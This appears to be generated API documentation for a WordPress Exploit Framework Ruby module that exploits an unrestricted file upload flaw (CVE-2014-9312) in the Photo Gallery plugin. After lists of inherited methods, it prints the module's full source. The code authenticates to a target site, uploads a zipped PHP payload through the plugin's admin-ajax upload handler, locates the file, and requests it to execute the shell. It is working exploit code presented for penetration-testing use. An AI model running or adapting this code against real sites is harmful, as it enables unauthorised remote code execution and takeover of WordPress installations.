Class: Wpxf::Exploit::PhotoGalleryShellUpload

Inherits:
Module
  • Object
show all
Includes:
Wpxf, Net::HttpClient, WordPress::Login, WordPress::Plugin
Defined in:
lib/wpxf/modules/exploit/shell/photo_gallery_shell_upload.rb

Constant Summary

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Instance Attribute Summary

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from WordPress::Plugin

#fetch_plugin_upload_nonce, #generate_wordpress_plugin_header, #upload_payload_as_plugin, #upload_payload_as_plugin_and_execute

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress, #requires_authentication

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initializePhotoGalleryShellUpload

Returns a new instance of PhotoGalleryShellUpload.



9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# File 'lib/wpxf/modules/exploit/shell/photo_gallery_shell_upload.rb', line 9

def initialize
  super

  update_info(
    name: 'Photo Gallery Shell Upload',
    desc: 'Photo Gallery Plugin for WordPress contains a flaw that allows a '\
          'remote attacker to execute arbitrary PHP code. This flaw exists'\
          'because the photo-gallery\photo-gallery.php script allows access'\
          'to filemanager\UploadHandler.php. The post() method in '\
          'UploadHandler.php does not properly verify or sanitize '\
          'user-uploaded files.',
    author: [
      'Kacper Szurek', # Vulnerability disclosure
      'rastating'      # WPXF module
    ],
    references: [
      ['WPVDB', '7769'],
      ['CVE', '2014-9312'],
      ['URL', 'http://security.szurek.pl/photo-gallery-125-unrestricted-file-upload.html']
    ],
    date: 'Nov 11 2014'
  )

  register_options([
    StringOption.new(
      name: 'username',
      desc: 'The WordPress username to authenticate with'
    ),
    StringOption.new(
      name: 'password',
      desc: 'The WordPress password to authenticate with'
    )
  ])
end

Instance Method Details

#checkObject



52
53
54
# File 'lib/wpxf/modules/exploit/shell/photo_gallery_shell_upload.rb', line 52

def check
  check_plugin_version_from_readme('photo-gallery', '1.2.6')
end

#extract_name_from_res(res) ⇒ Object



63
64
65
66
67
68
69
70
71
72
73
74
75
# File 'lib/wpxf/modules/exploit/shell/photo_gallery_shell_upload.rb', line 63

def extract_name_from_res(res)
  begin
    json = JSON.parse(res.body)
    if json.nil? || json['files'].nil? || json['files'][0].nil? || json['files'][0]['name'].nil?
      return nil
    else
      return json['files'][0]['name'][0..-5]
    end
  rescue
  end

  nil
end

#passwordObject



48
49
50
# File 'lib/wpxf/modules/exploit/shell/photo_gallery_shell_upload.rb', line 48

def password
  normalized_option_value('password')
end

#payload_body_builder(name) ⇒ Object



56
57
58
59
60
61
# File 'lib/wpxf/modules/exploit/shell/photo_gallery_shell_upload.rb', line 56

def payload_body_builder(name)
  builder = Utility::BodyBuilder.new
  zipped_files =  { "#{name}.php" => payload.encoded }
  builder.add_zip_file('files', zipped_files, "#{name}.zip")
  builder
end

#runObject



77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
# File 'lib/wpxf/modules/exploit/shell/photo_gallery_shell_upload.rb', line 77

def run
  return false unless super

  cookie = authenticate_with_wordpress(username, password)
  return false unless cookie

  emit_info 'Preparing payload...'
  payload_name = Utility::Text.rand_alpha(10)
  builder = payload_body_builder(payload_name)
  upload_dir = "#{Utility::Text.rand_alpha(10)}/"

  emit_info 'Uploading payload...'
  res = nil
  builder.create do |body|
    res = execute_post_request(
      url: wordpress_url_admin_ajax,
      params: { 'action' => 'bwg_UploadHandler', 'dir' => upload_dir },
      body: body,
      cookie: cookie
    )
  end

  if res.nil? || res.code != 200
    emit_error 'Failed to upload payload'
    emit_error "Server responded with code #{res.code}", true
    return false
  else
    emit_success 'Uploaded the payload', true
  end

  emit_info 'Parsing server response...'
  uploaded_name = extract_name_from_res(res)
  if uploaded_name.nil?
    emit_info "Server responded with: #{res.body}", true
    emit_error 'Unable to parse the server response'
    return false
  end

  php_file_name = "#{uploaded_name}.php"
  payload_url = normalize_uri(wordpress_url_admin, upload_dir, uploaded_name, php_file_name)
  emit_success 'Parsed response', true
  emit_success "Payload uploaded to #{payload_url}", true

  emit_info 'Executing the payload...'
  res = execute_get_request(url: payload_url)
  if res && res.code == 200 && !res.body.strip.empty?
    emit_success "Result: #{res.body}"
  end

  true
end

#usernameObject



44
45
46
# File 'lib/wpxf/modules/exploit/shell/photo_gallery_shell_upload.rb', line 44

def username
  normalized_option_value('username')
end